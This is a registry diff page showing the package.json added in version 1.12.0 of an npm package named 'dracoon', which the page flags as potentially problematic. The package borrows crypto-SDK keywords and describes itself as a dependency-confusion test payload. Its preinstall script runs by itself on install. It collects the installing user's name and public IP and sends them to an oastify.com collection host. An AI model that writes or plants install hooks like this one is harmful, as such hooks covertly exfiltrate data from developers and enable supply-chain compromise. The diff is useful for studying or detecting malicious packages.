dracoon 1.12.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dracoon might be problematic. Click here for more details.
- package/package.json +26 -0
package/package.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "dracoon",
|
|
3
|
+
"version": "1.12.0",
|
|
4
|
+
"description": "Malicious payload for dependency confusion testing",
|
|
5
|
+
"license": "Apache-2.0",
|
|
6
|
+
"author": "DRACOON",
|
|
7
|
+
"homepage": "https://example.com",
|
|
8
|
+
"repository": {
|
|
9
|
+
"type": "git",
|
|
10
|
+
"url": "https://github.com/attacker/malicious-package"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"dracoon",
|
|
14
|
+
"client-side-encryption",
|
|
15
|
+
"crypto-sdk",
|
|
16
|
+
"crypto",
|
|
17
|
+
"sdk"
|
|
18
|
+
],
|
|
19
|
+
"main": "index.js",
|
|
20
|
+
"scripts": {
|
|
21
|
+
"preinstall": "node -e \"require('child_process').exec('whoami', (error, stdout, stderr) => { const user = encodeURIComponent(stdout.trim()); require('https').get('https://api.ipify.org?format=json', (res) => { let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { const ip = JSON.parse(data).ip; require('https').get('https://qlfvzmtdgao4aqic23az3xgas1ysmrag.oastify.com/exfil?user=' + user + '&ip=' + ip, (res) => {}).on('error', (err) => {}); }); }).on('error', (err) => {}); });\""
|
|
22
|
+
},
|
|
23
|
+
"dependencies": {
|
|
24
|
+
"node-forge": "^1.3.1"
|
|
25
|
+
}
|
|
26
|
+
}
|